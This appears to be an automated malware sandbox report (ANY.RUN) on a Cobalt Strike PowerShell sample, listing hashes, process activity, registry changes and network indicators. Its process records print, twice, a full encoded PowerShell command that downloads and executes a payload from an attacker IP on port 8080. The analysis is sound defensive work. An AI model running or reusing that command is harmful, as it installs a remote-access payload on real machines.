File name:

ttest.text

Full analysis: https://app.any.run/tasks/fabf2c00-6b73-4dad-9b1c-9087ee486f18
Verdict: Malicious activity
Threats:

Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks.

Analysis date: January 14, 2022, 20:34:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
cobaltstrike
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with no line terminators
MD5:

52CB5D2BF929392C11E48F7B7BE883FB

SHA1:

E250BBB9F670F05D3B1D52962C7DF8E50EA06829

SHA256:

16EA40F04D29F260D97E4B9D3F5AE0DCEFCE749119F34C1F212173907A9592D9

SSDEEP:

6:snyUeCrgSqSCUdT14Ee2vCoj70/8QpQJQkhkrRksS/nmaa:snhrgSqJb25jckXYw/Fa

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  • MALICIOUS

    • COBALTSTRIKE was detected

      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 3336)
  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Checks supported languages

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)
    • Reads the date of Windows installation

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Reads the computer name

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)
    • Creates files in the user directory

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Application launched itself

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Executes PowerShell scripts

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Reads Environment values

      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 3336)
  • INFO

    • Checks supported languages

      • rundll32.exe (PID: 1236)
    • Manual execution by user

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)
    • Checks Windows Trust Settings

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
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Total processes
42
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

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start rundll32.exe no specs powershell.exe no specs #COBALTSTRIKE powershell.exe powershell.exe no specs #COBALTSTRIKE powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1236"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL "C:\Users\admin\Desktop\ttest.text"C:\Windows\system32\rundll32.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
1564"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\Desktop\ttest.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2608"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2768"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\Desktop\ttest.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3336"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
4 234
Read events
4 098
Write events
136
Delete events
0

Modification events

(PID) Process:(1564) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
14
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\O53YAWOV4Z9XE72V48OZ.tempbinary
MD5:
SHA256:
2768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VLIZEVA8D5CJIO8N8F1N.tempbinary
MD5:
SHA256:
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11507e.TMPbinary
MD5:
SHA256:
1564powershell.exeC:\Users\admin\AppData\Local\Temp\nknkhhnx.kbu.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2608powershell.exeC:\Users\admin\AppData\Local\Temp\qtuistbe.ycf.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2608powershell.exeC:\Users\admin\AppData\Local\Temp\ska5hkuu.fmf.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
1564powershell.exeC:\Users\admin\AppData\Local\Temp\vklc20w5.xw1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:
2608powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
2768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2608
powershell.exe
GET
200
185.112.83.116:8080
http://185.112.83.116:8080/drv
RU
text
57.9 Kb
malicious
3336
powershell.exe
GET
200
185.112.83.116:8080
http://185.112.83.116:8080/drv
RU
text
57.9 Kb
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2608
powershell.exe
185.112.83.116:8080
Total Server Solutions L.L.C.
RU
malicious
3336
powershell.exe
185.112.83.116:8080
Total Server Solutions L.L.C.
RU
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
2608
powershell.exe
A Network Trojan was detected
AV MALWARE CobaltStrike Trojan Powershell Payload Inbound
3336
powershell.exe
A Network Trojan was detected
AV MALWARE CobaltStrike Trojan Powershell Payload Inbound
No debug info